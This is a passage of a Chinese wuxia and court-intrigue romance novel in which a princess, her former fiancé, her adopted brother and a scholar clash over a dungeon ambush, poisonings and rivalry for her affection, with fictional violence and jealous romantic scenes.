闻铮在很久才发现,真有人泰山崩于前而面不改色,骨子里的镇定自若是装不出来的,当然,这是后话。
闻铮此时只想试试傻子武功是什么水平,傻子也感觉出来了,咬牙准备反击时不经意看见对面人身上挂的连理枝玉佩。
傻子猛然一惊,剑锋相抵,在空中强行卸力改道,闻铮没料到他突然协力,收剑不及,擦着傻子的劲动脉就过去了。
两人双双落地,闻铮后怕:“你怎么突然收手,若不是我,你早就死在别人剑下了。”
傻子抬臂,手里拎着那块连理枝玉佩,闻铮低头,果然不在自己身上了,冷笑:“我当你是个什么君子,原来是个梁上君子,还给我!”
傻子将玉佩放回她的手心:“你可以告诉我是谁给你的吗?”
“我母亲。”
傻子点点头,嘴角含了笑:“你是端宁公主。”
闻铮吓了一跳:“你怎么知道?”
他怎么会不知道呢?这块连理枝玉佩原本就是他的,是由他的母亲亲手交给皇后,许诺要家中独子邵景泽尚公主。
他又笑
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了一下,他的公主殿下嫉恶如仇啊。
“我是邵景泽。”
可惜端宁公主还未听说这段婚事,自然也不认识邵景泽,挂好玉佩后,茫然的抬头:“邵景泽又是谁?”
闻潮生背着弓跑过来,将“邵景泽是你的未婚夫”这句话堵了个严实,恶狠狠的说:“你们强抢民女,还有没有王法了?”
邵景泽哭笑不得,让小厮去把当事人带过来。
他扭过头,这大概是邵景泽第一次这么近距离看自己未过门的妻子,当今皇上皇后感情深厚,一生一世一双人,膝下唯有一子,被册为太子,皇家以子嗣昌盛为荣,可惜皇后早年生育太子时伤了身子,多载未能再有育,与护国寺祈福时从供案下爬出来,才一两岁的年纪,皇后太为感动,认此女为义女,册为公主,带回宫中,极尽宠爱。
闻铮在宫中长到八岁,突然想去闯荡江湖,皇上皇后虽不舍,但想着女子应该去见见天地,八岁拜到苍梧山,十岁时闯荡江湖,哦,六岁时还在狗窝旁捡到一个男孩,义女捡回义子,也是佳话。
小厮手脚很快,那女子比闻铮大点,哭诉了半天才说清原委,原来是认错了,她那赌鬼老爹早前吓唬她要吧她卖给别人,没想到真是吓唬她的。
“好啦。”被认出身份的闻铮很有公主的范:“你跟着他回家吧,以后你要小心点你爹。”又转身对邵景泽说:“是我冤枉你了,很对不住。”
邵景泽眸光微动,刚准备说话,又听见她长辈似的训话:“潮生!还不赶紧过来给人道歉!”
闻潮生站在远处,涨红脸,想他第一次独自行侠仗义,还闹出个笑话,心里十分生气:“我不!是他自己说不清楚,干嘛怪我!”
闻铮倒也没有为难他,轻轻叹了口气,低声道:“他年纪小,又被我惯坏了,我替他给你道歉,实在对不住。”
邵景泽知道闻铮的年龄,她才十四岁,也堪堪才是个孩子,学着大人的沉稳,真是心软的一塌糊涂。
闻潮生倘若是他族弟,非要家法伺候一顿不可。
他这念头还没有转完,心里突然很不是滋味,他的妻子干嘛要替别人道歉?连自己还没有得到她这样的偏爱呢。
“我今年十八岁,年长你四岁…”邵景泽忽然不知该怎么说了,闻铮一脸无知的模样,定是还不知道这桩亲事,转了半天只好旁敲侧击的说:“我至今还尚未有官职。”
他觉得自己这样说很没毛病,毕竟像他这般岁数的勋贵子弟早早就历练开了,如果到现在还未有一官半职定是要准备尚公主的。
闻铮会错意,义正言辞道:“邵公子,你年轻,武功又好,就算不靠家里也能闯出名堂的,何故要与我说这些?我,不会接受你的贿赂的!”
邵景泽愣了,啼笑皆非的同时又有点异样的感觉,半晌重新组织语言:“我与你的太子哥哥同大,太子十五岁时已经娶亲,你知道你我的关系了吗?”
闻铮收剑,用空的那只手摸了摸玉佩,沉默了半天,又再次会错意,试探性问:“…哥哥?”
邵景泽脑子嗡的一声响,霎那间又愣在原地,整个心都酥了,好似蝴蝶振翅高飞,藏在袖子里的手无意识的收紧,他十八岁了,懂得什么是喜欢,心里暗道,我的公主殿下,你这声哥哥喊的我都心乱了,恨不得立马上门求娶了。
5. 共谋
“哐当”一声响,邵景泽手中剑从中间断开。
闻铮举着火折子,看了一眼直直插在地上的半截短剑,心疼:“可惜了。”
邵景泽看她几眼,道:“原来殿下也有看走眼的时候。”
闻铮了然,邵景泽为了证明她看走眼竟然折剑以证。箭雨已然解决,长公主上前与邵景泽并肩,笑叹:“当然,当初看邵大人不就走眼了?还以为大人是正人君子。”
邵景泽握着断剑剑柄,接过闻铮手里的火折子,他身量高,轻易能将甬道里的油灯点燃。
“咱们是老相识,殿下说话不用这么客套,方才不是还骂我寡廉鲜耻吗?”
闻铮垂手,轻叹:“一时嘴快,大人不必挂怀。大人对我有大恩大德,我恨不得涌泉相报呢。”
邵景泽没接这话,轻轻吹灭火折子,心平气和道:“认错了吧?”
他自认为自己的所作所为实在够不上让闻铮涌泉相报。难道是指两年前?
“不会,我认人的本事向来很准。”
“我接受以身相许,”邵景泽一笑后侧眸发现闻铮没这意思,才明白:“我会尽等殿下向我追魂索命,倘若不幸我先于殿下步黄泉之下,也恭候殿下随时挖坟鞭尸。”
甬道前后宽度一致,断剑在墙壁上刮出声响,再拐过第三个弯时,闻铮与邵景泽相互对视一眼,腐朽之味扑面而来。
“这里不像普通的密室,倒像是…地牢。”闻铮听到点动静,扯了扯嘴角:“邵大人有何高见?”
邵景泽举着油灯,半张脸沉在黑暗中,跨步挡在闻铮身前,温和的笑了:“我能有什么高见?殿下好不诚实,听到了名堂也不与我细说,等着看我送死?”
下一刻转角处突然冒出来一人,身着黑衣,拿刀就砍,邵景泽前有黑衣人,后有闻铮,狭小的空间只靠一把断剑支撑。
闻铮抱臂上观,俨然不打算出手。她的想法很简单,邵景泽如果死在这里,那真是废物。
三下五除二,邵景泽折断黑衣人的右手,极快速的断了那人双腿,闻铮挑眉,说不来诚心诚意与否:“好毒,不愧是司徒大人。”
“殿下看了这么久的好戏等着我送死,”邵景泽蹲下身子,揭开黑衣人的面罩:“与我同出一辙。”
闻铮冷笑一声,单手捏开黑衣人下颌,往里塞了一粒药丸:“这才叫狠毒,说,这是什么地方?”
黑衣人低头不吭声,邵景泽毫不留情的折断他另一只手:“长公主问话,谁给你的胆子不答?”
闻铮笑笑,声音温和:“你刚吃下的药叫追魂,若没有解药,只有等死。”
黑衣人想了想:“这里是徐正的炼药房,曾经这里囚禁过…”黑衣人的目光突然投向了闻铮。
“怎么?囚禁过我?”闻铮莫名其妙。
“囚禁过前朝太子。”
闻铮此前泰然的瞧着,听见此话偏头闭了闭眼,像是强行忍耐着什么,复而胸口起伏,睁开眼时带着浅浅的笑意:“哪间牢房?”
黑衣服摇摇头:“我不知道,新朝之后这里又被改过了,除了毒药都是毒药。”
“如何能出去?”
黑衣人低头:“我受主家的恩惠,自然不能放你们出去。”
“啧。”邵景泽凉凉的笑了,脚尖在断手出碾了几把:“天下还有如此不知死活的人,今日我非得见识见识不可。”
他刚要使劲,手臂上一重:“邵大人。”
闻铮笑笑,从袖子里摸出另一个药瓶俯身递过去:“可怜也是忠义之人,严刑逼供做什么,地牢错综复杂,凭我二人之力无法逃脱,我用这个换一个方向如何?既不违反道义,也能救你出苦海。”
黑衣人接过药瓶,指着右边不出声。
闻铮颔首:“多谢。”
转出几个弯后,邵景泽驻步,眉头微皱道:“那人留不得。”
“大人的意思是?”
邵景泽忽然有些后悔,转头看着一旁的闻铮,道:“他知道圣上的秘密,杀了他最保险。”
面前分出岔路口,闻铮纠结往哪条路走,闻言轻轻的笑了:“我也知道了,大人预备如何?”
邵景泽迫近一步,眼里没笑,掀开嘴唇:“吃进去千万别吐出来。”
闻铮没理会这句话,踱步往前走:“难得我与大人不谋而合,他既然看过我太子哥哥受刑,怎么能留下来?我给了第二种药,叫索命,追魂索命,一盏茶内必死无疑。”
“那你还说救他出苦海?”
邵景泽站在油灯投下的阴影里看见前方女子回头眯着双眼冷冷一笑:“相对与追魂的折磨而言,死当然是一种解脱,我对背叛者惯常不留情,大人,日后——”
她刻意拉长语调,感慨般的叹息:“定要小心啊。”
电光火石之间,邵景泽探臂一把扯过闻铮按在怀里,反手回击,然而还是慢了一步,跳出来的黑衣人一道砍在邵景泽的右肩上,他吃痛不躲,退了两步后,握紧断剑从下至上抹在那人脖子上。
闻铮嗅到了一股熟悉的血腥味。
邵景泽一脚踹开尸体,垂眸看见怀里人狡黠笑了,长公主很是遗憾:“邵景泽,功夫不错,这样都没能砍死你。”
就差把可惜二字写到脸上,毫无疑问,闻铮是故意的。
“不敢死,”邵景泽手上松开人,身体贴的又紧了些,低声笑了:“万一长公主走不出去,过个三五十年被发现了,世人还以为长公主为我殉情。”
闻铮后退两步,空出点间隙:“你不如留着这张口舌好好质问你的老泰山。”
邵景泽撇了一眼伤口,不太深,挑眉笑了:“长公主,看在我为你挡了一刀的份上,扶我一把。”
闻铮自信虽然现在无法提剑,但凭借自己身手躲过那一下,完全不费劲,好笑道:“我可没求你救我。”
“你我刚共饮交杯酒,”邵景泽跨过黑衣人尸体:“我怎能见死不救?”
“逢场作戏,虚情假意,”闻铮皮笑肉不笑,不无嘲讽:“邵大人未免太当真了。这里只有我们两个,不必在演,你该知道我多讨厌你这副样子。”
邵景泽一愣,轻轻的笑了,目光放在岔路口上:“听声音他像是从右边来的。”
闻铮点头:“所以我们也往右边走。”
甬道长而杂,闻铮心里问候徐正一万遍,这么复杂的路,他平日来能记住吗?
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她问候最高兴时,身后轰的一声响,闻铮回头,邵景泽已然靠在石壁上滑坐到地下,脸色透着绮丽的惨白。
闻铮一怔,回身走至他身旁半蹲下,邵景泽五官浓墨重彩,在幽幽的烛火下,艳丽的眉目像一只修炼千年的狐狸精。
闻铮看了几眼,毫不留情道:“废物。”
“承蒙长公主教诲,我的确废物一个,”邵景泽靠在石壁上,像握了一把尚方宝剑:“长公主,会放弃我吗?”
闻铮冷笑:“你这般有恃无恐,不就已经猜到我不会放弃你吗?欺我手不能握剑。”
邵景泽虚弱的笑了,不置可否,强撑着身体靠近,悠悠道:“我是欺你,不是欺你不能握剑,是欺你心软。”他轻叹一声:“真的好想欺负你。”
闻铮也不反驳,利落撕下自己的一块衣服,猛的抬眼,眼里浮现点笑意:“邵大人可听过一句话?”
“嗯?”
邵景泽直直望着闻铮,后者更加利落的撕下他的袖子,血痂黏着衣服从皮肉下来,邵景泽仰着下巴闷哼一声,眉目因疼痛更加艳丽。
闻铮心情似乎不错,含笑:“说大话小心闪到舌头。”
“承教了。”邵景泽慢悠悠地笑了,没有挪开目光。
闻铮没说话了,快速包扎伤口。
邵景泽缓缓撑起另一只腿,意味深长又死性不改:“殿下,你用贴身衣物给我包扎,占尽我便宜,要对我负责。”
闻铮挑眉,很想知道邵景泽是这话时是什么表情,对方果然没有令她失望,劲儿劲儿欠收拾。
她手上更加用力,硬生生染红了那件布料。
邵景泽眉间一紧,极力的一笑,声音暗哑:“…公主殿下,是想叫我疼死么…”
“习武之人,手上没个轻重。”闻铮拍拍手说道:“话说回来,我救过人数不胜数,难道个个都要以身相许,嫁给我不成?”
邵景泽架着另一只没受伤的手,不笑了,因着伤口脸色苍白了不少:“闻铮,回苍梧山吧,我去求陛下,让他免了你的婚事,你是江湖之人,不要在踏足朝堂,你…不知道这里有多凶险。”
“我不甘心啊。”闻铮含着一点笑意,淡淡的声音在甬道里慢慢回荡,将心中的恨意彻底挥发出来:“各位大恩我还没报呢,如何心甘?”
“子渊,”闻铮起身,居高临下看着邵景泽,她已经很少唤他的表字了:“江湖儿女最讲究恩怨两清。”
邵景泽靠着断剑站起来,看着闻铮被烛光笼罩的脸:“我一定惜命,今生要死也死在你手里。”
闻铮敛眸:“承你吉言。”
“走吧。”邵景泽左手执剑,神色郑重些:“已经出现两个黑衣人,再耽误下去,只怕大部队要来了。”
闻铮让开路,邵景泽踏步上前。
不消一刻,前方出现点亮光,两人已经走到出口,邵景泽忽然回眸看着闻铮,似是眷恋。
“收起你的目光,大人是有妇之夫。我不日也将成婚。你我之前到此为止。”
同样的话,和两年前同出一辙。
闻铮抚上邵景泽的手,下一刻,抓住他执断剑的手狠狠的捅了自己一刀。
6. 深夜
邵景泽下意识搂住闻铮,扔下断剑,诧异地望着她:“你做什么?”
闻铮捂着胸口,轻描淡写道:“徐正是你的岳父,你会为了我太子哥哥查清此案,杀了徐正吗?”
夜风起,谁也没动。
邵景泽面色不变,心却沉了沉:“你怎知我不会?”
“你如果会,”闻铮眯着眼,看见远处逼近的红衣身影:“两年前就会了,不会等到现在。”
闻铮挣开邵景泽,眼前一黑,一头栽进闻潮生的怀抱里。
“姐姐!”闻潮生眉间小痣一点红,揽着闻铮,忍不住轻轻抚上她的脸,苍白无血:“你对我姐姐做什么了?”
“这是我与她的事,”数年前,邵景泽心里的酸意又泛起,眉间冷然:“你未免管的太宽。”
“邵大人忘了,我与姐姐自我四岁起不曾分离,”闻潮生打横抱起闻铮:“论起来,比你有资格。邵景泽,嫉妒我啊?”
他与姐姐在一起的时光,要比所有人都要多。
“长公主十八岁时曾在我府上住过半年,”邵景泽与人对视,引着闻潮生看自己胳膊上的布料,那是闻铮的贴身衣物:“那时,可曾分离?”
闻潮生觉得自己快炸了,还想说什么,可怀里闻铮毫无意识的哼了一声,两人顿时沉默了。
闻潮生挑眉一笑,无论如何他现在还抱着人呢,即便邵景泽说破大天,也无法否决,想通此处,他连招呼也不打,抱人入马车,冷声吩咐:“回府!”
邵景泽站在原地,目送马车远去,他才支撑不住,嗓子眼里强压的血一口喷出。
马车里,闻潮生紧紧搂着人,他惯小走江湖,这样伤他没见过一千也有八百,连自己也不用程度受过伤,他知道这种小伤没什么大事,可放在闻铮身上,他就害怕了。
闻潮生埋首在她发间,看不清脸色,肩膀忽然塌下去:“闻铮,你到底什么时候才能回学会不要和其他男人单独相处,不要随便捡男人回来?”
他总在人前亲昵的叫姐姐,人后不顾伦理道德直呼其名。
闻铮在他怀里动了动,露出修长的脖颈儿。
“姐姐,你总是这么不听话。”他盯着那节脖颈,无可奈何的想。
不听话的人都要被罚。
想咬。
***
闻铮梦中不太安稳,破城、鲜血、尸体…压着她胸口发紧,睁开眼睛想要撑着手臂坐起来,被胸口的刺痛提醒方才捅了自己一下,重心后仰,“扑通”一声又要栽回床上。
她没有感受到这一下,身后有个人接住了她,来人衣袖上带着深夜的凉意,又滚的发烫。
闻铮没挣扎,这个时间能出现在她房间里的,不外乎两个人。
“闻潮生,这么大该回自己房间睡觉了,不许在赖到床上。”
那人没说话。
闻铮知道自己认错人了,虚弱的笑了一下,又往那人怀里蹭了蹭,胸口的疼痛渐渐清晰,闭着眼故作轻松道:“苏茉,以前洗澡的时候不见你这么小,怎么隔着衣服感觉好小啊,用不用我寻几副药方帮帮你?”
“好啊,”灼热的气息喷在她的耳后,声音温润,却烫的她浑身一紧:“不过这么多年,还是第一次有人说我小呢。”
闻铮认出声音,略微抬起身子,被那人发现,又毫不留情的被按回去:“别起来了,靠着一会正好喝药。”
“沈公子,你怎么进来的?”
“翻墙。”沈青辞实话实说,借着机会侧身坐过来,伸出一条手臂虚虚搂住闻铮肩膀防止她滑下去。
长公主心道果然是高手,且不说她公主府的院墙有多高,就单说那些轮班侍卫,能从他们眼皮底下跑到这里也不容易。
现下闻铮也不计较那么多,大约长年累月习武,他靠起来要比垫子舒服多了,左蹭右挤找到一个合适的位置。
“别动了,”沈青辞低声,深吸一口气:“真大起来你又不高兴。”
…
闻铮无言以对,想了半天,不客气道:“你是流氓吗?这么孟浪?对我一个病人还要有欲|望?”
“不是欲|望的欲,是胜负欲的欲。”沈青辞从小案上取过来放着正好的药:“你梦中喊了三个人的名字,独独没有我,长公主,你让我这个面首情可以堪,我就这么不重要吗?”
闻铮还纠结在第一句话,心说这两个字不就是一个字?有什么区别?然后又听到第二句话,疑惑的抬眼瞅他,只是在昏黄的灯光下看不出什么表情。
“我还喊了谁?”除了闻潮生、苏茉,她还能喊谁?
沈青辞在她看不见的地方眼神暗了暗,心里那股子胜负欲又上来了,闻潮生是她弟弟,苏茉是她师妹。
“嗯?还有谁?”
沈青辞咬牙切齿:“邵景泽。”
闻铮还以为什么,冷笑一声:“那是我的死对头。喊他再正常不过。”
沈青辞无声笑了笑,胜负欲起来的时候已然胜了,闻铮能对他解释,他这点子不舒服被哄好了。
闻铮在自己毫不知情的情况下哄好了身后的状元郎,抬臂准备端碗喝药,却被轻轻挡开,沈青辞柔声:“我喂你。”
诚然闻铮小时候是个公主,但闯荡江湖身上公主毛病早被治好了,此后经逢大变,哪里还有点公主架子?
她深吸一口气,坦言道:“我自己可以。”
沈青辞胸膛支撑着闻铮,左手端碗右手拿勺,以一个绝对的姿势把人锁在怀里:“我既为长公主面首,总得为你做点事。”
闻铮感觉这话不对,又说不出来哪点不对,她今日换药,只穿着一层中衣,隔着一层布料,长公主后知后觉察觉到身后那具温热的!结实的!男人的身躯!头皮都要炸了,在摸不清沈青辞底细前,她可不希望有什么实质性进展。
忽然那人低头,蹭住她的鬓角就往下,闻铮露出点警惕的目光,暗自比较两人身手,最后不得不败下阵来,颓败的想估计沈青辞想用强,她只能大喊救命了,可谁知沈青辞却只尝了尝药:“温度正好。”
闻铮难得生出一种小人之心度君子之腹的心思,这当口上,一勺药送到她的嘴边,动作轻柔,清苦的药香被袖中香代替,她闻着这香味熟悉,但又记不起来。
闻铮还想挣扎一下,但是状元郎的耐心极好,就这么举着勺子等她俯身。
闻铮无法,俯身喝药,说来也奇怪,她多年不被人伺候,猛然经这么一下,小时候养尊处优的毛病又从骨头里爬出来了,所幸
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闭着眼,一口一口的喝药。
直到嘴里被塞了一颗糖。
闻铮眉梢一动,显得有点诧异,睁眼问道:“你如何知道的?”
碗勺从沈青辞手里过渡到小案上,回眸:“知道什么?”
闻铮转过头,镇定的对上他的眼睛,她在外头是闻潮生的姐姐、是前朝公主,绝不能有一丝软弱,所以小时候养喝药吃糖的习惯早被改了,极少有人知道她这癖好。
“你说吃糖?”沈青辞眼角弯出一个小弧度,轻笑:“我想惯着你,让你对我情根深重,这样也不行吗?”
那口糖化的时间很巧妙,在这时融成一口甜。
她分不清这是状元郎的巧言令色还是真情流露,他们这般文人向来心里有三分爱意也能说成十分。
想到这点,闻铮不在纠结,舒舒服服的靠在沈青辞身上,口是心非道:“沈公子是不是被人骗了,这糖一点也不甜。”
沈青辞听着这句话,也不辩驳,只道:“我与公主相识时间尚短,还不知道公主口味。”
闻铮懒洋洋应付,上下眼皮打架:“口味独特。”
沈青辞似是笑了,只是揽着人并未发出声音,又怕胸膛震动,晃着她伤口:“长公主挑糖的眼光独特,那…挑男人的眼光呢?”
怀中人动了一下,朝他的胸口侧身靠好,长公主就这么不解风情的睡着了。
沈青辞轻轻将人放回床上,怀里的长公主无意识的漏住了他的腰,轻轻唤了声:“任深。”
沈青辞霎那间静了。
烛火摇曳,帷幔帐暖,他在清苦的药味里嗅到了长公主的味道。
沈青辞起身为她拉过一床被子,准备离开时陡然看见闻铮脖子上一块吻痕,可怖的占有欲从心底腾然而起,俯身,舔上长公主的耳垂,又轻轻咬了一下,并没有用多大力气。
“闻铮,你又勾搭了谁?”这一句怒上加怨,咬牙切齿。
沈青辞克制沸腾的情绪,一垂眼又撇到脖子上的那块红斑,清冷的状元郎克制不住了,那些沸腾的情绪如同洪水猛兽,冲垮了禁锢。
他沿着耳垂往下,特意避开那道吻痕,找到一个自己喜欢的位置,双唇贴着长公主的皮肤,像是在悬崖峭壁之间的试探,舌尖摩挲着那块柔软,然后,狠狠的留下独属于他的印记。
“闻铮…”
闻铮梦见自己被狐狸咬了一口,还是只公狐狸,梦里她狠狠的后悔了,早知道就不救那只狐狸了,怎么还恩将仇报呢?
再睁眼已是翌日一早,天光大亮,沈青辞已经走了,只在她的枕头旁边留下几颗糖。
闻铮吃了一颗糖,甜的厉害。
苏茉推门进来,后面跟着闻潮生。
苏茉先是看了一眼空碗,对着盖着里三层外三层的帷幕大床说道:“嗯?都喝完了?我昨夜送进来时你还说等一会儿。”
闻铮懒懒的拨开帘子,她控制着力度,伤本来就不重,看着吓人罢了:“我什么时候这么娇气?”
苏茉愣了,闻潮生脸色阴沉,好似要吃人。
闻铮终于意识到不对:“怎么了?”
苏茉用食指指着自己的脖子,嗫嚅道:“你…你昨晚…是在养伤吗?这这,两道吻痕是什么意思?
7. 探病
闻铮很尴尬,猜也猜到是沈青辞的杰作,又实在想不通这人怎么还留下两个?
闻潮生抿了抿嘴唇,脸色铁青,一字一句的问:“谁、干、的?”
闻铮生平头一遭失去坐长姐的架子,恨不得立时三刻找个地缝钻进去。
苏茉帮腔解围:“先别管这个了,皇上知道你昨夜遇刺,早朝后来看望你,你能起来吗?这么见驾不合适吧?”
“没看见她受这么重的伤,怎么起来?”闻潮生感觉自己太阳穴直跳,更是生平第一次在姐姐面前失了分寸,恼羞成怒:“老匹夫要见就见,不见就让他回去,在谁面前摆架子呢?”
苏茉与闻铮相互对视一眼,并不说话,换做平常,闻铮要好好仗着长辈的威严,与他说道说道。
可好巧今日让闻潮生逮住了她与人贪欢的罪证,她也不太方便继续教训人了,眼见闻潮生生气的模样,只当他是为姐姐受伤鸣不平,又见姐姐被轻薄,自然怒不可遏。
他不知道多出的吻痕是谁留的,谁他娘的这么不要命与他抢长姐?可闻潮生没有办法,这些话谁都能说,就他没资格说。
他很早就知道,这种情感是不正常的,罔顾人伦。
“姐姐。”闻潮生轻唤一声,又叹了一口气,千般思绪,落水无声,无奈至极。
***
闻铮姐弟身份特殊,被皇上特许见驾不跪。闻潮生自是不用说,看到皇帝笑都懒的展一下。
闻铮披着外衣倚在枕上,手里端着一碗黑乎乎的药,随手将药放在一旁,装模作样的要起来:“皇叔来了?哦,这么巧,司徒大人也来了。”
皇帝快走几步,连忙摆手:“快躺下,受了这么伤,怎么还能动弹?”
“小伤而已,倒让皇叔挂心了,”闻铮心里盘算邵景泽怎么会一起来,他比自己先见到皇帝,会说了什么,面上笑着把话题引到邵景泽身上引:“司徒大人公务繁忙,怎么有空过来?”
邵景泽不紧不慢道:“昨夜与长公主共同遇刺,心下担心,求了皇上一同来探望。”
此话不知真假,闻铮没心情追究,抓住机会下一剂猛药:“昨晚真是吓坏我了,国公家暗藏密道,豢养杀手,刺杀当朝大臣与本公主,可谓不知死活,皇叔定要为我讨个公道。”
闻铮演的声泪俱下,连外衣掉了何时都不知道,同样不知道自己脖子上的两处吻痕何时露出来,刺瞎了司徒大人的眼睛。
邵景泽目光复杂着盯着闻铮的脖子,明明昨日还没有…他在宽大的袖袍下紧紧捏着双手,心中起伏不定,若是此刻没有人在场,他真的…要冲上去质问了。
他用的力气太大,胳膊上的伤口隐隐沁出血迹,沾湿了外袍。
闻铮那头泪眼婆娑,皇帝不忍心连忙扶住人,宽慰道:“你放心,朕绝对不会姑息。”话说道这里,皇帝回头,示意邵景泽拿个态度。
他从牙缝里挤出两个字:“是、谁?”
满屋子人,只有一人冷笑,眉间小痣一点红,正是闻潮生。只有他懂邵景泽这两个字是在问什么。
邵景泽与闻潮生对视,公主府除了闻潮生并无外男,事情是谁做的,再明显不过。闻潮生靠在窗户前,略微抬起下巴,嘴角带笑,认下了这件事。
大丈夫敢作敢为,他作了就没有什么不敢认的。
闻铮会错意,不解为何邵景泽会出声帮自己,但果断抓住机会:“当然是徐正,你瞧,司徒大人伤口都出血了,一定是昨晚刺客下手太重。”
邵景泽眯着眼,冷冷道:“自然。”
“子渊,”皇帝轻咳两声:“那,这件事就交给你了。”
“不可!”闻铮截口打断,四两拨千斤:“司徒大人是颖国公的女婿,为了公正,还是不要参与此案比较好。”
若是真让邵景泽去查,自己这一下算是白挨了。
邵景泽自嘲一笑,想起昨晚闻铮的话。
“这倒是有道理。”皇帝想了下,也犯难,国公历经三朝,想找出个没有与他瓜葛的官员,不容易。
“陛下何不启用新人?”闻铮将外衣重新披到身上:“天下能人那么多,多的初生牛犊不怕虎的。”
邵景泽心里紧了紧,猜出来了闻铮什么意思,偏巧长公主歪头看他,扬眉笑了一声,好似得意。
经这么一提醒,皇上想起来:“这么说,朕记起来今年的状元是个能干之人,所幸让他先顶这个差事。”
几句寒暄后皇帝借口有事,闻铮目的达到,也没有挽留,只有邵景泽不尴不尬的找了伤口需要上药的借口留下。
“司徒大人托词未免太烂了。”
邵景泽被怼了一句没什么感觉,逼近一步站在床边目光锁在闻铮的脖子上:“是谁?”
闻铮这才明白邵景泽这话什么意思,敢情方才他并不是在帮自己,突然笑出声,恶趣味上来了:“就、不、告、诉、你!”
她现在太弱小了,弱小到杀死一个邵景泽都不能,但只要能让邵景泽不高兴,闻铮都愿意做一做。邵景泽不高兴,她心中那口气就松快些。
邵景泽就这么一瞬,忽然觉得她变了一个人,恨意与妒意让视线变的模糊,偏偏闻铮的面容变得更加清晰。
“多年不见,长公主还是不够了解我,”邵景泽坐到床边,凑的近些,双眼发红,两人之间鼻息可闻:“你忘记了吗?我他妈的一直是只衣冠禽兽!”
当年之话,犹言在耳。
邵景泽挺身而上,捏住闻铮的下颌,在脖子那一边狠狠的咬下一口。
闻铮疼的背后一僵,一把推开人:“你有病吧?”
邵景泽供认不讳:“嗯,多年前就病了。”
十八岁种下病根,二十四岁还未好全。
闻铮嘶了一声,脖子那侧隐隐发烫:“你属狗的?”
咬了这一下邵景泽的心情好多了,漫不经心道:“我属狼的,狼的咬合力比狗大。”
“是,”闻铮重新靠回枕上,悠悠道:“白眼狼么,我知道。今天来是为什么?不会就是为了咬我这一口吧?”
“不是。”邵景泽垂眸后悔,他由着自己的冲动,又把事情搞砸了:“我…给你送药的。”
邵景泽从胸口掏出来一只粉白的瓶子,推过去:“这是外邦来的伤药,对刀剑之伤最有用。”
闻铮撇一眼药,不怎么诚恳的恭维道:“司徒大人果然圣眷优渥,无论哪朝哪代,外邦的东西都是招手即
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来。”
她没忘记,第一次见邵景泽,这小子就穿着一身外邦进贡的衣料,时隔多年,邵景泽圣眷依旧,只是旧朝换新朝了。
“不过,还是拿回去给你岳父用吧,不日下狱,需要伤药的地方多的是。”
邵景泽微狭眼眸,语调里有种近乎诡异的平和:“让他踩着我往上爬,就是为了这个?”
他不在乎沈青辞爬到什么地位,反正当官也不是他的理想,他这个人没有什么梦想。但如果是闻铮想让沈青辞踩着自己上位。
他闭了闭眼,心里不舒服,想道,那,真的要斗斗法了。斗他们在朝上的地位,斗他们在长公主的地位。
闻铮一笑,没说话。
邵景泽再次睁眼看出来一点不同的情绪,不动声色:“他爬的那么高,到时会为你放弃吗?”
闻铮抬起眼皮,一点点看过去:“你怕他爬的高,还是怕他不肯尚公主?”她顿了顿,咬着字眼:“是你吧?爬的越高越不肯放弃权力。”
…所以,永远不会动尚公主的心思。
邵景泽沉默了一下,只道:“我心不假。”
“假不假是一回事,能为我做多少是一回事,你我不是小孩子了,如果最终的利益没有偏向我,那么就是假的,”闻铮挑起一丝笑:“何况,我们之间隔的世仇。”
邵景泽起身,面色不豫,与送皇帝回来的闻潮生打了照面。
“大人好走。”闻潮生挑眉,带着点趾高气扬。他赢下一小局,当然喜不自胜。
邵景泽应了一声,一手背在身后,睨视一眼:“王爷年纪不小了,有这时间还是多关心关心自己,男女有别,说不准哪天圣旨一到就需搬出公主府。”
闻潮生到底年轻,直到司徒大人走都没有听出大尾巴狼的意思。
闻铮捂住脖子,再叫潮生看见齿痕,以后这姐姐的架子真是摆不下去了,催促道:“你去把苏茉叫过来。”
苏茉正在吃苹果,进来时眼尖的看见闻铮的脖子,费力的咽下嘴里的苹果:“你,桃花运挺好啊,这一天天的,这新鲜滚烫的不会是邵景泽吧?”
“除了他还能有谁?”
“你和他怎么回事?”苏茉好奇,从她们回京,算上这次才与邵景泽见了三次,长公主闻铮已经被占了三次便宜了。
“我与他早年定过亲,若是不出意外,说不准我们两现在孩子都有了。”想起这件事,闻铮精疲力尽,恍如隔世:“城破以后,救过我一次。就这么简单。”
苏茉又咬了一口苹果:“我看他对你余情未了。”
“对我余情未了多了去了,”闻铮看她吃的香,抢过来也咬了一口。
“是,那状元郎对你也是情根深种,昨晚翻墙的是他吧?”
闻铮眉尖一跳,才发觉话题被带跑了:“沈青辞你查清楚了吗?什么来头?”
“他的身份是真的,确确实实是江南沈家的大公子,”苏茉吃完半边苹果:“至于你说学武,他的确学过,也曾仗剑天涯,但中途好像受了什么伤,至此江湖之行断送。”
闻铮品着这话,受了什么伤,江湖之行断送。
果然,天下江湖儿女无一不是这幅下场,她也如此。
8. 查案
翌日早朝,皇帝特意点了沈青辞的名,命他主理长公主与司徒大人遇刺一案,邵景泽扮好捧哏角色,与皇帝假惺惺哭诉长公主多有不容易,突然邵景泽话锋一转:“乾安王年纪不小了,也该定一门婚了。”
沈青辞领了旨,没先去国公府,反倒先来公主府,他见闻铮时,长公主披着斗篷,坐在园子里看花,玄猫卧在她膝头和主人一样都是懒洋洋的表情,好不惬意。
“领了新差事,”闻铮靠在躺椅上,不知为何见了沈青辞,她消失多年的养尊处优习惯又往上爬,现下动也不想动:“皇上器重你…”
她话还没说完,沈青辞逼近,一把扯下身上的外袍盖到长公主身上,眉头轻微蹙起:“伤还没好全,怎么独自坐在风口里?”
沈青辞清瘦,身量却高,陡然逼近挡住了阳光,漂亮的眉眼紧紧盯着她,长公主对上他的视线,笑了笑:“等人来疼我。”
沈青辞猝不及防听到这句话,眼睛眯着起来,少见的声音冷沉:“你经常对人说这种话?”
“没有。”闻铮说这话严肃些:“天下想我死的人不少,我若随时露出此等软弱可欺的样子,早被啃的骨头也不剩了。”
沈青辞单膝跪地与躺下的闻铮同高,他为自己是独一份而高兴,又被那句啃的骨头都不剩而搅的心也乱了,温润的许下自己誓言:“听闻长公主早年是天下第一剑,我看了一圈,长公主的兵器实在一般,不如我当长公主的剑如何?”
闻铮真心实意的笑了,她要的就是这句话,但长公主也知道,与人来往总要有利益保障,也同样给予相等的回报:“你作我的剑,我便作你的登云梯,沈青辞,踩着我可平步青云。”
他们都是江湖儿女,自然有江湖儿女承诺的方式。歃血为盟最合适不过,当下从沈青辞的外袍里抽出手,咬破自己的手指。
